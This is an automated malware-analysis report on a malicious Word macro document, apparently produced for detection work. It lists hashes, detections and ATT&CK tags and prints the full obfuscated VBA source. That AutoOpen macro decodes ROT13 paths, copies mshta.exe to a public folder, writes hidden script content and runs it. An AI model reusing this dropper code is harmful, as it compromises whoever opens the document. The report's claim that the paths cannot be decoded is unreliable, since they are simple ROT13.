Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f5fe3a1f3f1e7cfe…

MALICIOUS

Office (OOXML)

70.7 KB Created: 2020-08-17 09:25:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 122b02b8949c0342341833046c3fc8ad SHA-1: 551e5a4e0f2c7de74c4c3adcb4029ede31c920ff SHA-256: f5fe3a1f3f1e7cfe7c66a63a19eba996575a9235835185ab720df14564b95c16
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro triggers the execution of a shell command, likely to download and run a second-stage payload. The script reconstructs three strings which appear to be encoded URLs or paths, but their exact destination cannot be determined due to truncation.

Heuristics 6

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2189 bytes
SHA-256: 5f346adcf957b4936138dc444555e9ce42f8b5312bc63b5002089e004486e9b4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "abko8"
Function aomAT()
aomAT = frm.txt.text
End Function
Public Function aOXr9(aARmi)
aOXr9 = aGin5(Replace(aARmi, aNtnWZ, ""))
End Function
Sub AutoOpen()
main
End Sub
Public Sub aWQpI(afDYTj)
Set aoNtrL = New WshShell
aoNtrL.exec afDYTj
End Sub

Attribute VB_Name = "aQ51Wi"
Public Const aeAot As String = "p,:,\,j,v,a,q,b,j,f,\,f,l,f,g,r,z,3,2,\,z,f,u,g,n,.,r,k,r,"
Public Const atbL9 As String = "P,:,\,h,f,r,e,f,\,c,h,o,y,v,p,\,v,a,.,p,b,z,"
Public Const aN7Y09 As String = "P,:,\,h,f,r,e,f,\,c,h,o,y,v,p,\,v,a,.,u,g,z,y,"
Public Const aNtnWZ As String = ","
Public Function aeatxH(a3ysc, a3FnAb)
FileNumber = FreeFile
Open a3ysc For Output As #FileNumber
Print #FileNumber, Spc(15886 / 169)
Print #FileNumber, a3FnAb
Print #FileNumber, Spc(15886 / 169)
Close #FileNumber
End Function
Sub as3iJ(aqimN, a1kE0)
FileCopy aqimN, a1kE0
End Sub
Public Function aGin5(ByVal s As String, Optional ByVal r As Integer = 13) As String
    Dim c, f, i As Long
    For i = 1 To Len(s)
        c = Asc(Mid(s, i, 1))
        If c >= 97 And c <= 122 Then
            f = 97
        ElseIf c >= 65 And c <= 90 Then f = 65
        Else: GoTo Build: End If
        c = r + c - f
        Do: c = c Mod 26: Loop While c > (26 - 1)
        c = c + f
Build:         aGin5 = aGin5 & Chr(c)
    Next i
End Function

Attribute VB_Name = "a0Ljvg"
Sub main()
ausdXp = aOXr9(aeAot)
a65zQq = aOXr9(atbL9)
asbgiD = aOXr9(aN7Y09)
as3iJ ausdXp, a65zQq
aeatxH asbgiD, aGin5(aomAT)
aWQpI (a65zQq & " " & asbgiD)
End Sub

Attribute VB_Name = "frm"
Attribute VB_Base = "0{098FDB54-49A1-447E-AB93-A9B268766A28}{7EEEEC92-2424-4892-9789-3653A4EF6D0F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 52736 bytes
SHA-256: 8ae353bee981e166088ca8f40e3b33b8b97e529cf251aaeebefda2c5b8460fd6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).